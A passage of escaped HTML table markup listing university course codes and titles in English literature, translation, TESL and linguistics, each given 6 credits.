1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt;height:15.0pt\";vertical-align:top\"=\"\" width=\"331\">\r\n  <p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><em>Literary studies</em></p>\r\n  </td>\r\n  <td style=\"\" width:140.6pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt;height:15.0pt\";vertical-align:top\"=\"\" width=\"187\">\r\n  <p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><em>6</em></p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"121\">\r\n  <p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><em>ENGL 503</em></p>\r\n  </td>\r\n  <td style=\"\" width:248.05pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt;height:15.0pt\";vertical-align:top\"=\"\" width=\"331\">\r\n  <p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><em>American Authors</em></p>\r\n  </td>\r\n  <td style=\"\" width:140.6pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt;height:15.0pt\";vertical-align:top\"=\"\" width=\"187\">\r\n  <p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><em>6</em></p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"121\">\r\n  <p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><em>ENGL 608</em></p>\r\n  </td>\r\n  <td style=\"\" width:248.05pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt;height:15.0pt\";vertical-align:top\"=\"\" width=\"331\">\r\n  <p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><em>Phonetics</em></p>\r\n  </td>\r\n  <td style=\"\" width:140.6pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt;height:15.0pt\";vertical-align:top\"=\"\" width=\"187\">\r\n  <p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><em>6</em></p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"121\">\r\n  <p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><em>ENGL\r\n  609</em></p>\r\n  </td>\r\n  <td style=\"\" width:248.05pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt;height:15.0pt\";vertical-align:top\"=\"\" width=\"331\">\r\n  <p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><em>Stylistics</em></p>\r\n  </td>\r\n  <td style=\"\" width:140.6pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt;height:15.0pt\";vertical-align:top\"=\"\" width=\"187\">\r\n  <p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><em>6</em></p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"121\">\r\n  <p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><em>ENGL\r\n  702</em><em></em></p>\r\n  </td>\r\n  <td style=\"\" width:248.05pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt;height:15.0pt\";vertical-align:top\"=\"\" width=\"331\">\r\n  <p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><em>Literary\r\n  Translation and Editing</em><em></em></p>\r\n  </td>\r\n  <td style=\"\" width:140.6pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt;height:15.0pt\";vertical-align:top\"=\"\" width=\"187\">\r\n  <p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><em>6</em></p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"121\">\r\n  <p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><em>LIT 507</em></p>\r\n  </td>\r\n  <td style=\"\" width:248.05pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt;height:15.0pt\";vertical-align:top\"=\"\" width=\"331\">\r\n  <p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><em>Literary critique</em></p>\r\n  </td>\r\n  <td style=\"\" width:140.6pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt;height:15.0pt\";vertical-align:top\"=\"\" width=\"187\">\r\n  <p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><em>6</em></p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"121\">\r\n  <p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><em>TESL 303</em></p>\r\n  </td>\r\n  <td style=\"\" width:248.05pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt;height:15.0pt\";vertical-align:top\"=\"\" width=\"331\">\r\n  <p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><em>Introduction to TESL</em></p>\r\n  </td>\r\n  <td style=\"\" width:140.6pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt;height:15.0pt\";vertical-align:top\"=\"\" width=\"187\">\r\n  <p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><em>6</em></p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"121\">\r\n  <p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><em>TRN 309</em></p>\r\n  </td>\r\n  <td style=\"\" width:248.05pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt;height:15.0pt\";vertical-align:top\"=\"\" width=\"331\">\r\n  <p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><em>Written Translation</em></p>\r\n  </td>\r\n  <td style=\"\" width:140.6pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt;height:15.0pt\";vertical-align:top\"=\"\" width=\"187\">\r\n  <p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><em>6</em></p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"121\">\r\n  <p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><em>TRN 310</em></p>\r\n  </td>\r\n  <td style=\"\" width:248.05pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt;height:15.0pt\";vertical-align:top\"=\"\" width=\"331\">\r\n  <p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><em>Theory of translation</em></p>\r\n  </td>\r\n  <td style=\"\" width:140.6pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt;height:15.0pt\";vertical-align:top\"=\"\" width=\"187\">\r\n  <p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><em>6</em></p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"121\">\r\n  <p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><em>TRN 315</em></p></td>\r\n  <td style=\"\" width:248.05pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt;height:15.0pt\";vertical-align:top\"=\"\" width=\"331\">\r\n  <p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><em>Legal and court translation</em></p>\r\n  </td>\r\n  <td style=\"\" width:140.6pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt;height:15.0pt\";vertical-align:top\"=\"\" width=\"187\">\r\n  <p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><em>6</em></p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"121\">\r\n  <p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><em>TRN 335</em></p>\r\n  </td>\r\n  <td style=\"\" width:248.05pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt;height:15.0pt\";vertical-align:top\"=\"\" width=\"331\">\r\n  <p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><em>Medical Translation</em></p>\r\n  </td>\r\n  <td style=\"\" width:140.6pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt;height:15.0pt\";vertical-align:top\"=\"\" width=\"187\">\r\n  <p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><em>6</em></p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"121\">\r\n  <p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><em>TRN 370</em></p>\r\n  </td>\r\n  <td style=\"\" width:248.05pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt;height:15.0pt\";vertical-align:top\"=\"\" width=\"331\">\r\n  <p style=\"\" margin:0cm;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><em>Translation of\r\n  scientific and technical texts</em></p>\r\n  </td>\r\n  <td style=\"\" width:140.6pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt;height:15.0pt\";vertical-align:top\"=\"\" width=\"187\">\r\n  <p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><em>6</em></p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"121\">\r\n  <p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><em>TRN 380</em></p>\r\n  </td>\r\n  <td style=\"\" width:248.05pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt;height:15.0pt\";vertical-align:top\"=\"\" width=\"331\">\r\n  <p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><em>Translation of Oil and Gas Materials</em></p>\r\n  </td>\r\n  <td style=\"\" width:140.6pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt;height:15.0pt\";vertical-align:top\"=\"\" width=\"187\">\r\n  <p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><em>6</em></p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"121\">\r\n  <p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><em>TRN 400</em></p></td>\r\n  <td style=\"\" width:248.05pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt;height:15.0pt\";vertical-align:top\"=\"\" width=\"331\">\r\n  <p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><em>Translation of Mass Media Materials</em></p>\r\n  </td>\r\n  <td style=\"\" width:140.6pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt;height:15.0pt\";vertical-align:top\"=\"\" width=\"187\">\r\n  <p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><em>6</em></p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"121\">\r\n  <p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><em>TRN 410</em></p>\r\n  </td>\r\n  <td style=\"\" width:248.05pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt;height:15.0pt\";vertical-align:top\"=\"\" width=\"331\">\r\n  <p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><em>Proverbs. Sayings. Idioms</em></p>\r\n  </td>\r\n  <td style=\"\" width:140.6pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt;height:15.0pt\";vertical-align:top\"=\"\" width=\"187\">\r\n  <p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><em>6</em></p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"121\">\r\n  <p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><em>TRN 420</em></p>\r\n  </td>\r\n  <td style=\"\" width:248.05pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt;height:15.0pt\";vertical-align:top\"=\"\" width=\"331\">\r\n  <p style=\"\" margin:0cm;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><em>Documentation\r\n  and Terminology</em></p></td>\r\n  <td style=\"\" width:140.6pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt;height:15.0pt\";vertical-align:top\"=\"\" width=\"187\">\r\n  <p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><em>6</em></p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"121\">\r\n  <p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><em>TRN 423</em></p>\r\n  </td>\r\n  <td style=\"\" width:248.05pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt;height:15.0pt\";vertical-align:top\"=\"\" width=\"331\">\r\n  <p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><em>Economic translation</em></p>\r\n  </td>\r\n  <td style=\"\" width:140.6pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt;height:15.0pt\";vertical-align:top\"=\"\" width=\"187\">\r\n  <p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><em>6</em></p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"121\">\r\n  <p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><em>TRN 425</em></p>\r\n  </td>\r\n  <td style=\"\" width:248.05pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt;height:15.0pt\";vertical-align:top\"=\"\" width=\"331\">\r\n  <p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><em>Translation of literary texts</em></p>\r\n  </td>\r\n  <td style=\"\" width:140.6pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt;height:15.0pt\";vertical-align:top\"=\"\" width=\"187\">\r\n  <p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><em>6</em></p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"121\">\r\n  <p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><em>TRN 440</em></p>\r\n  </td>\r\n  <td style=\"\" width:248.05pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt;height:15.0pt\";vertical-align:top\"=\"\" width=\"331\">\r\n  <p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><em>Consecutive Translation and Note taking\r\n  techniques</em></p>\r\n  </td>\r\n  <td style=\"\" width:140.6pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt;height:15.0pt\";vertical-align:top\"=\"\" width=\"187\">\r\n  <p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><em>6</em></p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"121\">\r\n  <p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><em>TRN 450</em></p>\r\n  </td>\r\n  <td style=\"\" width:248.05pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt;height:15.0pt\";vertical-align:top\"=\"\" width=\"331\">\r\n  <p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><em>Social-Political Translation</em></p>\r\n  </td>\r\n  <td style=\"\" width:140.6pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt;height:15.0pt\";vertical-align:top\"=\"\" width=\"187\">\r\n  <p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><em>6</em></p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"121\">\r\n  <p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><em>TRN 460</em></p>\r\n  </td>\r\n  <td style=\"\" width:248.05pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt;height:15.0pt\";vertical-align:top\"=\"\" width=\"331\">\r\n  <p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><em>Oral translation</em></p>\r\n  </td>\r\n  <td style=\"\" width:140.6pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt;height:15.0pt\";vertical-align:top\"=\"\" width=\"187\">\r\n  <p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><em>6</em></p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"121\">\r\n  <p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><em>TRN 465</em></p>\r\n  </td>\r\n  <td style=\"\" width:248.05pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt;height:15.0pt\";vertical-align:top\"=\"\" width=\"331\">\r\n  <p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><em>Sigh translation</em></p>\r\n  </td>\r\n  <td style=\"\" width:140.6pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt;height:15.0pt\";vertical-align:top\"=\"\" width=\"187\">\r\n  <p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><em>6</em></p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"121\">\r\n  <p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><em>TRN 490</em></p>\r\n  </td>\r\n  <td style=\"\" width:248.05pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt;height:15.0pt\";vertical-align:top\"=\"\" width=\"331\">\r\n  <p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><em>Audio-visual translation</em></p>\r\n  </td>\r\n  <td style=\"\" width:140.6pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt;height:15.0pt\";vertical-align:top\"=\"\" width=\"187\">\r\n  <p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><em>6</em></p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"121\">\r\n  <p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><em>LING 421</em></p>\r\n  </td>\r\n  <td style=\"\" width:248.05pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt;height:15.0pt\";vertical-align:top\"=\"\" width=\"331\">\r\n  <p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><em>Sociolinguistics</em></p>\r\n  </td>\r\n  <td style=\"\" width:140.6pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt;height:15.0pt\";vertical-align:top\"=\"\" width=\"187\">\r\n  <p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><em>6</em></p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"121\">\r\n  <p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><em>LING </em></p>\r\n  </td>\r\n  <td style=\"\" width:248.05pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt;height:15.0pt\";vertical-align:top\"=\"\" width=\"331\">\r\n  <p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><em>Morphology and Syntax</em></p>\r\n  </td>\r\n  <td style=\"\" width:140.6pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt;height:15.0pt\";vertical-align:top\"=\"\" width=\"187\">\r\n  <p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><em>6</em></p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"121\">\r\n  <p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><em>LING\r\n  422</em></p>\r\n  </td>\r\n  <td style=\"\" width:248.05pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt;height:15.0pt\";vertical-align:top\"=\"\" width=\"331\">\r\n  <p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><em>Linguistic\r\n  Analysis</em></p>\r\n  </td>\r\n  <td style=\"\" width:140.6pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt;height:15.0pt\";vertical-align:top\"=\"\" width=\"187\">\r\n  <p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><em>6</em></p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"121\">\r\n  <p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><em>LING 502</em></p>\r\n  </td>\r\n  <td style=\"\" width:248.05pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt;height:15.0pt\";vertical-align:top\"=\"\" width=\"331\">\r\n  <p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><em>Second Language Acquisition</em></p>\r\n  </td>\r\n  <td style=\"\" width:140.6pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt;height:15.0pt\";vertical-align:top\"=\"\" width=\"187\">\r\n  <p style=\"\" 